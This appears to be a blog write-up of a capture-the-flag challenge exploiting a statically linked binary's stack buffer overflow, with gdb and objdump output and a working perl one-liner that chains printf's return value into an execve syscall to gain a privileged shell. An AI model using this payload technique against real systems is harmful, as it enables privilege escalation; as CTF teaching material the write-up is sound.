This challenge is local stack based buffer overflow. The binary is static. It means that the libc shared object is not loaded, all needed libc functions are included in the binary. So we cannot use a trick that create a weird executable file name and jump to exec*() function in libc.
Because the NX bit in binary is disabled, the method I used in competition is brute forcing same as Leet More's writeup. But while talking in IRC, it seems the organizer did a mistake. The NX bit should be enabled. The StalkR's Blog has already posted the nice writeup if NX is enabled. I also tried it assuming NX is enabled (and effective :P) just for fun. Here is my solution.
Let see the code first. The main() function of this challenge is small. So I posted here.
int main(int argc, char **argv) { char buffer[512]; unsigned long len; if (argc != 2) { printf("..."); exit(1); } len = strtoul(argv[1]); if (len <= 511) { if (log_error("...")) myexit(); } fgets(buffer, len, stdin); puts(buffer); return 0; }
At first time I looked, it seems not able to be exploited. When I checked inside log_error() function, it always fails because the log file does not exist. So we can put any length we want.
Because the binary is statically linked, so let check what libc functions are included in binary.
$ objdump -t exploitme | grep .text ... 08048890 g F .text 00000011 printf 08049fa8 g F .text 00000043 memmove ... 08049abc g F .text 0000000e mmap ... 0804823f g F .text 00000034 __unified_syscall ... 08048230 g F .text 00000007 mprotect
There are many interesting functions. But "__unified_syscall" is the most interesting for me. It looks like syscall() function in libc. Let look at it closer.
$ gdb ./exploitme ... (gdb) b main Breakpoint 1 at 0x804818a (gdb) r Starting program: /opt/pctf/z2/exploitme Breakpoint 1, 0x0804818a in main () (gdb) x/10i __unified_syscall 0x804823f <__unified_syscall>: movzbl %al,%eax 0x8048242 <__unified_syscall+3>: push %edi 0x8048243 <__unified_syscall+4>: push %esi 0x8048244 <__unified_syscall+5>: push %ebx 0x8048245 <__unified_syscall+6>: mov %esp,%edi 0x8048247 <__unified_syscall+8>: mov 0x10(%edi),%ebx 0x804824a <__unified_syscall+11>: mov 0x14(%edi),%ecx 0x804824d <__unified_syscall+14>: mov 0x18(%edi),%edx 0x8048250 <__unified_syscall+17>: mov 0x1c(%edi),%esi 0x8048253 <__unified_syscall+20>: mov 0x20(%edi),%edi
The function moves arguments to ebx, ecx, edx, esi, edi respectively. Look like it is preparing for syscall. Check some existed libc function that matches the syscall.
(gdb) x/2i open 0x80489d0 <__libc_open>: mov $0x5,%al 0x80489d2 <__libc_open+2>: jmp 0x804823f <__unified_syscall>
Yes, it is. The "__unified_syscall" is a syscall() function but we have to put syscall number in eax before calling it.
I want to call execve syscall (number 11) so all I have to prepare the arguments and set eax to 11. Preparing the arguments is easy because we can control the content in stack. How we set eax to 11?. Normally it is difficult to find "pop eax" gadget. To overcome this problem, I use printf() function. Because eax keeps the return value of function. And the return section in printf man page:
Upon successful return, these functions return the number of characters printed (not including the trailing '\0' used to end output to strings).
Just need to find a string that length is 11. Very easy.
(gdb) x/10s 0x0804a378 0x804a378: "a" 0x804a37a: "/home/z2/logs/assert.log" 0x804a393: "ERROR: %s\n" 0x804a39e: "%s requires one arguments.\n" 0x804a3ba: "" 0x804a3bb: "" 0x804a3bc: "[assertion] len < sizeof(buffer)" 0x804a3dd: "/dev/urandom" 0x804a3ea: "\n" 0x804a3ec: "(null)"
I use address 0x804a3de ("dev/urandom") for printf() and 0x804a378 ("a") for execve(). The address contains NULL is 0x804a444. Time to exploit it :).
z2_82@a5:~$ ln -s /bin/sh a z2_82@a5:~$ (perl -e 'print "A"x516,"\x2f\x82\x04\x08"x16,"\x90\x88\x04\x08","\x3f\x82\x04\x08","\xde\xa3\x04\x08","\x78\xa3\x04\x08","\x44\xa4\x04\x08"x2';echo;cat) | /opt/pctf/z2/exploitme 700 AAAAAAAAAAAAAA... id uid=2081(z2_82) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)
Another fun ;)
cool :) nice trick with printf, I thought you'll call strlen
ReplyDeletestrlen is not in binary, so printf is another choice. :)
ReplyDelete